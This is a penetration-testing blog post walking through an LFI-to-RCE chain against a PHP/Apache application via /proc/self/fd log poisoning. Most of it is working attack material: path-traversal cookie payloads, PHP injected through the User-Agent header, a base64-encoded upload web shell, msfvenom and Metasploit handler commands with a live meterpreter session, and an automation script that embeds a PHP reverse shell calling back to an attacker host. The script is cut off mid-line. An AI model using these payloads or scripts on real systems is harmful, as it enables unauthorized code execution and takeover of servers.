Introduction

At this blog post we will discuss an interesting exploitation method, by abusing the /proc/self/stat directory. This method involves both misconfiguration as well as input validation issues. Every process can access its available information by requesting the /proc/self directory. In a nutshell, when a process is created and has an open file handler then a file descriptor will point to that requested file. As Apache is requesting this file (via the LFI vulnerability) and since the file is located inside Apache’s proc directory, we can use /proc/self instead of searching for Apache’s PID. Linux holds a separate directory to store those “pseudo-files”. Supposing that we execute requests originated from Apache - via the LFI - we can find this directory under /proc/self/fd/. The contents of this directory are symbolic links pointing to the actual file of the process’ open file handlers. During the attack we dont know which symbolic link points to which file. Moreover, the file we are interested in is the Apache access log. We choose this file because it is dynamic and can be changed based on our input.

Bug Detection and Exploitation

While performing a penetration testing assessment i got in front of a login page of a custom web application. Searching for low hanging fruits i managed to find a kind of critical issue on the target application. Specifically I found an interesting unauthenticated LFI vulnerability that has been identified at the user parameter in the Cookie HTTP header. The user parameter was not present at the Cookie header when browsing the login page but its existence has been identified through source code review at the backend server. For privacy reasons the vulnerable code cannot be exposed.

The following HTTP request / response pair depicts the issue

HTTP Request :

GET /listings.php HTTP/1.1
Host: 192.168.201.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=6b82a05ec984697da862a3b2acf884c4; user=../../../../../etc/passwd%00
Connection: close

HTTP Response :

HTTP/1.1 200 OK
Date: Sat, 26 Dec 2020 21:18:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length:  2349
[....]
<pre>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
</pre></p></div>
</body>
</html>

Moving further, we have sent an HTTP request in order to see if we can read the /proc/self/stat file. As seen at the following request / response pair we indeed have access at the /proc/self/stat file

HTTP Request :

GET /listings.php HTTP/1.1
Host: 192.168.201.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=6b82a05ec984697da862a3b2acf884c4; user=../../../../../proc/self/stat%00
Connection: close

HTTP Response :

HTTP/1.1 200 OK
Date: Sat, 26 Dec 2020 21:18:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 977

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<html>
[....]
<p><pre>6642 (httpd) R 6637 6637 6637 0 -1 4202816 3753497 0 0 0 687 2347 0 0 15 0 1 0 427860 18386944 1978 4294967295 7602176 7912312 3217351552 3217335172 6571010 0 0 16781312 201344619 0 0 0 17 0 0 0 0
</pre></p></div>
</body>
</html>

As we see above in the HTTP response, we have the parent and the child process ID of the httpd process. Note that the child pid is changing in every HTTP request because it is a forked process from the parent process. An example of the stracture of the /proc/[pid]/stat file can be seen below

               pid  : 6642    ----> this is the child process id ( this changes in every request )
               tcomm: (httpd)
               state: R
                ppid: 6637    ----> this is the parent process ID ( e.g. the httpd process )
                pgid: 6637
                 sid: 6637
              tty_nr: 0
            tty_pgrp: -1
               flags: 4202816
             min_flt: 3753497
            cmin_flt: 282132
             maj_flt: 0
            cmaj_flt: 0
               utime: 0
               stime: 687
              cutime: 2347
              cstime: 0
            priority: 0
                nice: 15
         num_threads: 0
       it_real_value: 1
          start_time: 0
               vsize: 427860
                 rss: 18386944
              rsslim: 427860
          start_code: 18386944
            end_code: 1978
         start_stack: 4294967295
                 esp: 7602176
                 eip: 7912312
             pending: 000000007912312
             blocked: 000003217351552
              sigign: 000003217335172
            sigcatch: 000000006571010
               wchan: 0
               zero1: 0
               zero2: 16781312
         exit_signal: 201344619
                 cpu: 0
         rt_priority: 0
              policy: 0

At this point we use the child process ID from the /proc/self/stat file in order to identify the file descriptor which is related with the apache log file. Furthermore, using the BurpSuite interceptor, and more specifically the repeater tool, we realized that we need to repeat the request multiple times in order to have a chance to read the contents of the file representing a specific file descriptor which is linked with the apache log file.

We will start brute forcing to see if we can read the file descriptors, lets say from 0 to 15. Moreover, one of these file descriptors could probably hold the httpd logs. The following python script has been used in order to find the file descriptor we wanted. This script will show the length of the HTTP responses. As said before, we might need multiple requests in order to achieve reading the contents of the file at /proc/6642/fd directory that is linked with the Apache log file. Also, we must take into consideration that the application for some reason does not have a logout button yet, thus the session ID is valid until the user clears the browser's cache.


import requests

target = "192.168.201.3"
port = "2425"
PHPSESSID="6b82a05ec984697da862a3b2acf884c4" # here put a valid session ID 

pid="6642"

url = "http://"+target+"/listings.php"

headers = {"Cache-Control": "max-age=0", \
"Upgrade-Insecure-Requests": "1", "User-Agent": \
"<?$com=base64_decode($_GET['cmd']);$file=fopen('./comments/yo.php','w'); \
fwrite($file,$com);fclose($file);phpinfo();?>", \
"Accept": \
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/ \
signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, \
deflate", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", \
"Cookie": "PHPSESSID="+PHPSESSID+"; user=../../../../../proc/"+pid+"/fd/9%00", \
"Connection": "close"}

for i in range (10):
  response = requests.get(url, headers=headers)
  cont = response.content
  print (len(cont))
  print ("")

After executing the script above, we see the following response

root@kali:/home/kali/Desktop# python3 bruteforcer.py

781

781

781

781

781

781

781

5247076

781

781

As we see above, at the eighth request, the response returned the content length of 5247076, which indicates that we might read the right file which is the file with number 9. As we see below the HTTP request/response pair shows the httpd logs contained inside the file /proc/6642/fd/9

HTTP Request :

GET /listings.php HTTP/1.1
Host: 192.168.201.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=6b82a05ec984697da862a3b2acf884c4; user=../../../../../proc/6642/fd/9%00
Connection: close

HTTP Response :

HTTP/1.1 200 OK
Date: Sun, 27 Dec 2020 00:31:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4970344


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<title>Listings</title>
</head>
[.....]
<p><h3><strong>Welcome ../../../../../proc/6642/fd/9%00</strong></h3></p><p><h3>This is your personal space, you can post your comments and list your monthly report:</h3></p><p><pre>192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /listings.php HTTP/1.1" 200 764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /community.jpg HTTP/1.1" 404 286 "http://192.168.201.3/listings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /listings.php HTTP/1.1" 200 764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /community.jpg HTTP/1.1" 404 286 "http://192.168.201.3/listings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /listings.php HTTP/1.1" 200 764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"

As we look closely at the response above, we can realize that the /proc/6642/fd/9 file contains logs regarding the HTTP Agent header. This evidence explains that we might have the ability to inject php code inside the apache log file of the target server using the agent header. The code that will be injected to the apache log file is the following

<?php $data=base64_decode($_GET['cmd']);
$file=fopen('./comments/yolo.php','w');
fwrite($file,$data);fclose($file);phpinfo();?>

The above php script when executed will introduce a new url parameter called cmd. Afterwards, an encoded php payload will be provided at the cmd parameter, which will then be decoded at the server side and will also be written inside a file called yolo.php. Afterwards the phpinfo() will be invoked just to make sure the payload has been succesfully executed.

The following payload will be used as our file uploader on the server. This script will be provided in the newly introduced cmd parameter in Base64 encoded form. Before we upload the payload on the server we must encode it using Base64 as well as URL encoding

<form enctype="multipart/form-data" action="yolo.php" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="512000"/> Upload file: <input name="userfile" type="file" /><input type="submit" value="Send File" /></form><?php $uploadfile = basename($_FILES['userfile']['name']);echo "<p>";if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)){echo "File is valid, and was successfully uploaded.\n";}else {echo "Upload failed";}echo "</p>";echo '<pre>';echo 'Here is some more debugging info:';print_r($_FILES);print "</pre>";?>

The following python script used to Base64 and URL encode the payload above


import base64
import urllib

encoded = base64.b64encode('<form enctype="multipart/form-data" action="yolo.php" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="512000"/> Upload file: <input name="userfile" type="file" /><input type="submit" value="Send File" /></form><?php $uploadfile = basename($_FILES[\'userfile\'][\'name\']);echo "<p>";if(move_uploaded_file($_FILES[\'userfile\'][\'tmp_name\'], $uploadfile)){echo "File is valid, and was successfully uploaded.\n";}else {echo "Upload failed";}echo "</p>";echo \'<pre>\';echo \'Here is some more debugging info:\';print_r($_FILES);print "</pre>";?>')

print(urllib.quote(encoded))

Then the encoded payload will be as follows

PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSJ5by5waHAiIG1ldGhvZD0
iUE9TVCI%2BPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iTUFYX0ZJTEVfU0laRSIgdmFsdWU9IjUx
MjAwMCIvPiBVcGxvYWQgZmlsZTogPGlucHV0IG5hbWU9InVzZXJmaWxlIiB0eXBlPSJmaWxlIiAvPjx
pbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZW5kIEZpbGUiIC8%2BPC9mb3JtPjw/cGhwICR1cGxv
YWRmaWxlID0gYmFzZW5hbWUoJF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddKTtlY2hvICI8cD4iO2l
mKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2
FkZmlsZSkpe2VjaG8gIkZpbGUgaXMgdmFsaWQsIGFuZCB3YXMgc3VjY2Vzc2Z1bGx5IHVwbG9hZGVkL
goiO31lbHNlIHtlY2hvICJVcGxvYWQgZmFpbGVkIjt9ZWNobyAiPC9wPiI7ZWNobyAnPHByZT4nO2Vj
aG8gJ0hlcmUgaXMgc29tZSBtb3JlIGRlYnVnZ2luZyBpbmZvOic7cHJpbnRfcigkX0ZJTEVTKTtwcml
udCAiPC9wcmU%2BIjs/Pg%3D%3D

Now its time to test all the above. The following request / response pair shows the succesfull exploitation of the LFI vulnerability. The file yolo.php will be uploaded on the server

HTTP Request

GET /listings.php?cmd=PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSJ5b2x
vLnBocCIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJNQVhfRklMRV9TSVpFIiB2
YWx1ZT0iNTEyMDAwIi8%2BIFVwbG9hZCBmaWxlOiA8aW5wdXQgbmFtZT0idXNlcmZpbGUiIHR5cGU9ImZpbGU
iIC8%2BPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgRmlsZSIgLz48L2Zvcm0%2BPD9waHAgJHVw
bG9hZGZpbGUgPSBiYXNlbmFtZSgkX0ZJTEVTWyd1cVyZmlsZSddWyduYW1lJ10pO2VjaG8gIjxwPiI7aWYobW
92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRmaWxlKSl
ZWNobyAiRmlsZSBpcyB2YWxpZCwgYW5kIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuCiI7fWVsc2Uge2Vja
G8gIlVwbG9hZCBmYWlsZWQiO31lY2hvICI8L3A%2BIjtlY2hvICc8cHJlPic7ZWNobyAnSGVyZSBpcyBzb21l
IG1vcmUgZGVidWdnaW5nIGluZm86JztwcmludF9yKCRfRklMRVMpO3ByaW50ICI8L3ByZT4iOz8%2B HTTP/1.1
Host: 192.168.201.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=8010e458940960ea1b44e7c5cca8c4ba; user=../../../../../proc/3272/fd/9%00
Connection: close

HTTP Response :

HTTP/1.1 200 OK
Date: Sun, 27 Dec 2020 14:29:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 781
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<html>
[.....]

</strong></h3></p><p><h3>This is your personal space, you can post your comments and list your monthly report:</h3></p><p><pre>192.168.201.1 - - [27/Dec/2020:06:38:28 -0500] "GET /community.jpg HTTP/1.1" 404 286 "http://192.168.201.3/listings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [27/Dec/2020:06:38:35 -0500] "GET / HTTP/1.1" 302 1421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [27/Dec/2020:06:38:35 -0500] "GET /listings.php HTTP/1.1" 200 680 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [27/Dec/2020:06:38:35 -0500] "GET /community.jpg HTTP/1.1" 404 286 "http://192.168.201.3/listings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [27/Dec/2020:06:39:17 -0500] "GET /listings.php HTTP/1.1" 200 973 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [27/Dec/2020:06:40:35 -0500] "GET / HTTP/1.1" 200 1421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
[.....]
192.168.201.1 - - [27/Dec/2020:09:29:05 -0500] "GET /listings.php?cmd=PGZvcm0gZ
W5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSJ5b2xvLnBocCIgbWV0aG9kPSJQT1NU
Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJNQVhfRklMRV9TSVpFIiB2YWx1ZT0iNTEyMDAwIi8
%2BIFVwbG9hZCBmaWxlOiA8aW5wdXQgbmFtZT0idXNlcmZpbGUiIHR5cGU9ImZpbGUiIC8%2BPGlucH
V0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgRmlsZSIgLz48L2Zvcm0%2BPD9waHAgJHVwbG9hZGZ
pbGUgPSBiYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pO2VjaG8gIjxwPiI7aWYobW
92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRma
WxlKSl7ZWNobyAiRmlsZSBpcyB2YWxpZCwgYW5kIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuCiI7
fWVsc2Uge2VjaG8gIlVwbG9hZCBmYWlsZWQiO31lY2hvICI8L3A%2BIjtlY2hvICc8cHJlPic7ZWNob
yAnSGVyZSBpcyBzb21lIG1vcmUgZGVidWdnaW5nIGluZm86JztwcmludF9yKCRfRklMRVMpO3ByaW50
ICI8L3ByZT4iOz8%2B HTTP/1.1" 200 781 "-" "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
[......]
HTTP_USER_AGENT </td><td class="v"><?php $data=base64_decode($_GET['cmd']);$file=fopen('./comments/yolo.php','w');fwrite($file,$data);fclose($file);phpinfo();?> </td></tr>
[.......]

Then we can execute the file uploader using the following URL

http://192.168.201.3/comments/yolo.php

the following screenshot shows the file uploader

Now that everything is set up, we are ready to create our final reverse tcp php payload and upload it on the server. The following command will be used in order to generate our php tcp reverse payload

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=443 -f raw > rev.php

Now that the payload is ready we will use the new uploader in order to upload the payload on the server.

Then we will run a metasploit multi / handler in order to run our meterpreter listener. First we will create the handler.rc file as follows

use multi/handler
set LHOST 192.168.201.7
set LPORT 443
set payload php/meterpreter_reverse_tcp
set ExitOnSession false
exploit -j -z

Then we will run the script above and the listener will be ready to accept connections as shown below

root@kali:/home/kali/Desktop# msfconsole -q -r handler.rc
[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set LHOST 192.168.201.7
LHOST => 192.168.201.7
resource (handler.rc)> set LPORT 443
LPORT => 443
resource (handler.rc)> set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
resource (handler.rc)> set ExitOnSession false
ExitOnSession => false
resource (handler.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.201.7:443
msf6 exploit(multi/handler) >

After executing the rev.php shell we will have a reverse tcp connection as follows

root@kali:/home/kali/Desktop# msfconsole -q -r handler.rc
[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set LHOST 192.168.201.7
LHOST => 192.168.201.7
resource (handler.rc)> set LPORT 443
LPORT => 443
resource (handler.rc)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (handler.rc)> set ExitOnSession false
ExitOnSession => false
resource (handler.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.201.7:443
msf6 exploit(multi/handler) > [*] Sending stage (39282 bytes) to 192.168.201.3
[*] Meterpreter session 1 opened (192.168.201.7:443 -> 192.168.201.3:34320) at 2021-01-11 14:14:27 -0500
sess
[-] Unknown command: sess.

msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > sessions -i

Active sessions
===============

  Id  Name  Type                   Information            Connection
  --  ----  ----                   -----------            ----------
  1         meterpreter php/linux  apache (48) @ xenofon  192.168.201.7:443 -> 192.168.201.3:34320 (192.168.201.3)

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 4454 created.
Channel 0 created.
id
uid=48(apache) gid=48(apache) groups=48(apache)

The following python script used in order to automate the exploitation of the LFI vulnerability. More specifically the script uploads the php uploader on the server and then also uploads the rev.php file. Finally, it opens a multi/handler in order to handle connections.

import sys
import requests
import random,string
import os
import time 
from bs4 import BeautifulSoup
from requests_toolbelt import MultipartEncoder
from threading import Timer

_server = None
_pid = None
PHPSESSID="6b82a05ec984697da862a3b2acf884c4"

def run_expl():
    exploit()
    rce()

def interactive_shell(lhost, port):
    print ("(+) Starting msfconsole handler")
    # wait for 25 sec before visiting shell
    t = Timer(25, run_the_revshell)
    # start thread activity
    t.start()
    msfconsole = 'msfconsole -q -x "use php/meterpreter/reverse_tcp; set lhost {server}; set lport {port}; exploit -z -j;"'.format(server=lhost, port=port)
    os.system(msfconsole)

def rce():
    interactive_shell("192.168.201.3", 443)
    

def run_the_revshell(): 
    session = requests.session()

    url = "http://"+_server+"/comments/rev.php"

    headers = {"Cache-Control": "max-age=0", \
    "Upgrade-Insecure-Requests": "1", "User-Agent": \
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", \
    "Accept": \
    "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/ \
    signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, \
    deflate", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", \
    "Cookie": "PHPSESSID="+PHPSESSID+"", \
    "Connection": "close"}

    session.get(url, headers=headers)

def self_stat():

    session = requests.session()

    url = "http://"+_server+"/listings.php"

    headers = {"Cache-Control": "max-age=0", \
    "Upgrade-Insecure-Requests": "1", "User-Agent": \
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", \
    "Accept": \
    "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/ \
    signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, \
    deflate", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", \
    "Cookie": "PHPSESSID="+PHPSESSID+"; user=../../../../../proc/self/stat%00", \
    "Connection": "close"}

    response = session.get(url, headers=headers,allow_redirects=False)

    soup = BeautifulSoup(response.text, 'html.parser')
    stat = soup.find('pre')
    fd = stat.string
    chunks = fd.split(' ')
    descriptor = chunks[0]
    return descriptor

def exploit():

    s1 = requests.Session()
    
    url = "http://"+_server+"/listings.php?cmd=PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSJ5b2xvLnBocCIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJNQVhfRklMRV9TSVpFIiB2YWx1ZT0iNTEyMDAwIi8%2BIFVwbG9hZCBmaWxlOiA8aW5wdXQgbmFtZT0idXNlcmZpbGUiIHR5cGU9ImZpbGUiIC8%2BPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgRmlsZSIgLz48L2Zvcm0%2BPD9waHAgJHVwbG9hZGZpbGUgPSBiYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pO2VjaG8gIjxwPiI7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRmaWxlKSl7ZWNobyAiRmlsZSBpcyB2YWxpZCwgYW5kIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuCiI7fWVsc2Uge2VjaG8gIlVwbG9hZCBmYWlsZWQiO31lY2hvICI8L3A%2BIjtlY2hvICc8cHJlPic7ZWNobyAnSGVyZSBpcyBzb21lIG1vcmUgZGVidWdnaW5nIGluZm86JztwcmludF9yKCRfRklMRVMpO3ByaW50ICI8L3ByZT4iOz8%2B"
    
    headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": \
        "$data=base64_decode($_GET['cmd']);$file=fopen('./comments/yolo.php','w');fwrite($file,$data);fclose($file);phpinfo();?>", "Accept": "text/html,application/xhtml+xml,application/xml; \
        q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange; \
        v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", \
        "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", \
        "Cookie": "PHPSESSID="+PHPSESSID+"; user=../../../../../proc/"+_pid+"/fd/9%00", "Connection": "close"}
    
    for i in range (15):
        s1.get(url, headers=headers)
    
    fields = {
        'userfile': ('rev.php', "/*<?php /**/ error_reporting(0); $ip = '192.168.201.3'; $port = 443; \
            if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f(\"tcp://{$ip}:{$port}\"); $s_type = 'stream'; } \
            if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } \
            if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM,SOL_TCP); \
                $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } \
                 if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } \
                 switch ($s_type) { case 'stream': $len = fread($s, 4); \
                    break; case 'socket': $len = socket_read($s, 4); break; } \
                    if (!$len) { die(); } $a = unpack(\"Nlen\", $len); $len = $a['len']; $b = ''; \
                    while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); \
                    break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } \
                     $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; \
                     if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) \
                     { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();", \
                     "text/php"),'file_id': "0"
    }
    
    boundary = '----WebKitFormBoundary' \
               + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=fields, boundary=boundary)
    
    headers = {
        "Connection": "keep-alive",
        "Content-Type": m.content_type
    }
    
    s = requests.Session()
    
    s.post("http://"+_server+"/comments/yolo.php", headers=headers, data=m)
    

if __name__ == '__main__':
    try:
        _server = sys.argv[1].strip()
    except IndexError:
